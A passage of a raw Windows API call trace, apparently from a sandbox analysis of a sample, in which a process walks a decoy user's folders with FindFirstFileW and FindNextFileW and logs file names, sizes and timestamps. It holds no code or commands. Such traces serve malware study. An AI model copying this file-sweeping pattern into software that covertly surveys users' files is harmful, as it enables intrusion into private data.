hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0124.714] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c30310, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c30310, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65ec8e0, ftCreationTime.dwHighDateTime=0x1d4b0cc, ftLastAccessTime.dwLowDateTime=0x5ababc40, ftLastAccessTime.dwHighDateTime=0x1d4ea69, ftLastWriteTime.dwLowDateTime=0x5ababc40, ftLastWriteTime.dwHighDateTime=0x1d4ea69, nFileSizeHigh=0x0, nFileSizeLow=0x8638, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0Q3LulVoi6BYXkATC.docx", cAlternateFileName="0Q3LUL~1.DOC")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291ebbb0, ftCreationTime.dwHighDateTime=0x1d4f198, ftLastAccessTime.dwLowDateTime=0xa20cc0f0, ftLastAccessTime.dwHighDateTime=0x1d5195f, ftLastWriteTime.dwLowDateTime=0xa20cc0f0, ftLastWriteTime.dwHighDateTime=0x1d5195f, nFileSizeHigh=0x0, nFileSizeLow=0x15d63, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0r-zyx2wH0-I.pptx", cAlternateFileName="0R-ZYX~1.PPT")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b5d6b0, ftCreationTime.dwHighDateTime=0x1d5186d, ftLastAccessTime.dwLowDateTime=0x910f0330, ftLastAccessTime.dwHighDateTime=0x1d527e2, ftLastWriteTime.dwLowDateTime=0x910f0330, ftLastWriteTime.dwHighDateTime=0x1d527e2, nFileSizeHigh=0x0, nFileSizeLow=0x13d33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="30Wm1uP_k08jvj97lQ5Z.pptx", cAlternateFileName="30WM1U~1.PPT")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b8d7a80, ftCreationTime.dwHighDateTime=0x1d4ca9d, ftLastAccessTime.dwLowDateTime=0x9c274c10, ftLastAccessTime.dwHighDateTime=0x1d4c74c, ftLastWriteTime.dwLowDateTime=0x9c274c10, ftLastWriteTime.dwHighDateTime=0x1d4c74c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="38Tocm", cAlternateFileName="")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c25b5f0, ftCreationTime.dwHighDateTime=0x1d4cd4e, ftLastAccessTime.dwLowDateTime=0xece8db20, ftLastAccessTime.dwHighDateTime=0x1d4fa53, ftLastWriteTime.dwLowDateTime=0xece8db20, ftLastWriteTime.dwHighDateTime=0x1d4fa53, nFileSizeHigh=0x0, nFileSizeLow=0xf3a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7okz4Pc-gSuOVu.docx", cAlternateFileName="7OKZ4P~1.DOC")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a50890, ftCreationTime.dwHighDateTime=0x1d51304, ftLastAccessTime.dwLowDateTime=0xdcee1f00, ftLastAccessTime.dwHighDateTime=0x1d50d77, ftLastWriteTime.dwLowDateTime=0xdcee1f00, ftLastWriteTime.dwHighDateTime=0x1d50d77, nFileSizeHigh=0x0, nFileSizeLow=0x90ef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GfPtWvk5Lmj.xlsx", cAlternateFileName="GFPTWV~1.XLS")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dcb2890, ftCreationTime.dwHighDateTime=0x1d4c18e, ftLastAccessTime.dwLowDateTime=0x4a643590, ftLastAccessTime.dwHighDateTime=0x1d4a90c, ftLastWriteTime.dwLowDateTime=0x4a643590, ftLastWriteTime.dwHighDateTime=0x1d4a90c, nFileSizeHigh=0x0, nFileSizeLow=0x1742d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRA80ibP5ZcjgL2YpVJ.docx", cAlternateFileName="GRA80I~1.DOC")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc5530e0, ftCreationTime.dwHighDateTime=0x1d502e3, ftLastAccessTime.dwLowDateTime=0x3cb57920, ftLastAccessTime.dwHighDateTime=0x1d51c13, ftLastWriteTime.dwLowDateTime=0x3cb57920, ftLastWriteTime.dwHighDateTime=0x1d51c13, nFileSizeHigh=0x0, nFileSizeLow=0x1516c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kpj8t.pptx", cAlternateFileName="KPJ8T~1.PPT")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afc8ed0, ftCreationTime.dwHighDateTime=0x1d4aa00, ftLastAccessTime.dwLowDateTime=0x5ecf6510, ftLastAccessTime.dwHighDateTime=0x1d4d4bb, ftLastWriteTime.dwLowDateTime=0x5ecf6510, ftLastWriteTime.dwHighDateTime=0x1d4d4bb, nFileSizeHigh=0x0, nFileSizeLow=0x16b56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KsTqGqqzg.xlsx", cAlternateFileName="KSTQGQ~1.XLS")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5026b6a0, ftCreationTime.dwHighDateTime=0x1d4bcf9, ftLastAccessTime.dwLowDateTime=0x7dcbb920, ftLastAccessTime.dwHighDateTime=0x1d4ca73, ftLastWriteTime.dwLowDateTime=0x7dcbb920, ftLastWriteTime.dwHighDateTime=0x1d4ca73, nFileSizeHigh=0x0, nFileSizeLow=0xf889, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OrLlCAU81JJA3-CN.docx", cAlternateFileName="ORLLCA~1.DOC")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5a1f30, ftCreationTime.dwHighDateTime=0x1d4e11b, ftLastAccessTime.dwLowDateTime=0x1b093b30, ftLastAccessTime.dwHighDateTime=0x1d4fa04, ftLastWriteTime.dwLowDateTime=0x1b093b30, ftLastWriteTime.dwHighDateTime=0x1d4fa04, nFileSizeHigh=0x0, nFileSizeLow=0x1e75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Q4Mi.xlsx", cAlternateFileName="Q4MI~1.XLS")) returned 1 [0124.715] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3baa200, ftCreationTime.dwHighDateTime=0x1d4ad85, ftLastAccessTime.dwLowDateTime=0xcc3e71f0, ftLastAccessTime.dwHighDateTime=0x1d4dc17, ftLastWriteTime.dwLowDateTime=0xcc3e71f0, ftLastWriteTime.dwHighDateTime=0x1d4dc17, nFileSizeHigh=0x0, nFileSizeLow=0x5b06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAIpVw9N67HN.pptx", cAlternateFileName="RAIPVW~1.PPT")) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79b513b0, ftCreationTime.dwHighDateTime=0x1d4d41c, ftLastAccessTime.dwLowDateTime=0x834bc620, ftLastAccessTime.dwHighDateTime=0x1d4cf0e, ftLastWriteTime.dwLowDateTime=0x834bc620, ftLastWriteTime.dwHighDateTime=0x1d4cf0e, nFileSizeHigh=0x0, nFileSizeLow=0x183fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rUyI.pptx", cAlternateFileName="RUYI~1.PPT")) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe839a660, ftCreationTime.dwHighDateTime=0x1d4f04c, ftLastAccessTime.dwLowDateTime=0xe6a12a80, ftLastAccessTime.dwHighDateTime=0x1d4bf14, ftLastWriteTime.dwLowDateTime=0xe6a12a80, ftLastWriteTime.dwHighDateTime=0x1d4bf14, nFileSizeHigh=0x0, nFileSizeLow=0xcece, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TFi_rpFOJSO_vICGfl.docx", cAlternateFileName="TFI_RP~1.DOC")) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3aa34d0, ftCreationTime.dwHighDateTime=0x1d4e84b, ftLastAccessTime.dwLowDateTime=0x6a00bde0, ftLastAccessTime.dwHighDateTime=0x1d50525, ftLastWriteTime.dwLowDateTime=0x6a00bde0, ftLastWriteTime.dwHighDateTime=0x1d50525, nFileSizeHigh=0x0, nFileSizeLow=0xd675, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tGcOKsKW8vY3r.pptx", cAlternateFileName="TGCOKS~1.PPT")) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba486a0, ftCreationTime.dwHighDateTime=0x1d4cb9b, ftLastAccessTime.dwLowDateTime=0xfda3ca90, ftLastAccessTime.dwHighDateTime=0x1d4d255, ftLastWriteTime.dwLowDateTime=0xfda3ca90, ftLastWriteTime.dwHighDateTime=0x1d4d255, nFileSizeHigh=0x0, nFileSizeLow=0xe426, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tgGDARb0KAuLH86cV.pdf", cAlternateFileName="TGGDAR~1.PDF")) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x595b3210, ftCreationTime.dwHighDateTime=0x1d4a817, ftLastAccessTime.dwLowDateTime=0xf8d2b790, ftLastAccessTime.dwHighDateTime=0x1d4e2c9, ftLastWriteTime.dwLowDateTime=0xf8d2b790, ftLastWriteTime.dwHighDateTime=0x1d4e2c9, nFileSizeHigh=0x0, nFileSizeLow=0x4ed8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UxVjqI79MHDnp-w7vHYP.xlsx", cAlternateFileName="UXVJQI~1.XLS")) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe125dc90, ftCreationTime.dwHighDateTime=0x1d4f5ce, ftLastAccessTime.dwLowDateTime=0x9e23f330, ftLastAccessTime.dwHighDateTime=0x1d4fc01, ftLastWriteTime.dwLowDateTime=0x9e23f330, ftLastWriteTime.dwHighDateTime=0x1d4fc01, nFileSizeHigh=0x0, nFileSizeLow=0xc31c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ys koK.xlsx", cAlternateFileName="YSKOK~1.XLS")) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe125dc90, ftCreationTime.dwHighDateTime=0x1d4f5ce, ftLastAccessTime.dwLowDateTime=0x9e23f330, ftLastAccessTime.dwHighDateTime=0x1d4fc01, ftLastWriteTime.dwLowDateTime=0x9e23f330, ftLastWriteTime.dwHighDateTime=0x1d4fc01, nFileSizeHigh=0x0, nFileSizeLow=0xc31c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ys koK.xlsx", cAlternateFileName="YSKOK~1.XLS")) returned 0 [0124.716] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.716] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.716] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0124.716] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.716] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.716] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.716] PathFindFileNameW (pszPath="") returned="" [0124.716] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0124.717] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.717] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.717] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.717] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.717] PathFindFileNameW (pszPath="") returned="" [0124.717] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.717] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.717] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.717] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0124.717] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0124.717] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0124.717] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0124.717] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0124.717] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.718] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0124.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.718] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.718] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.718] PathFindFileNameW (pszPath="") returned="" [0124.718] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 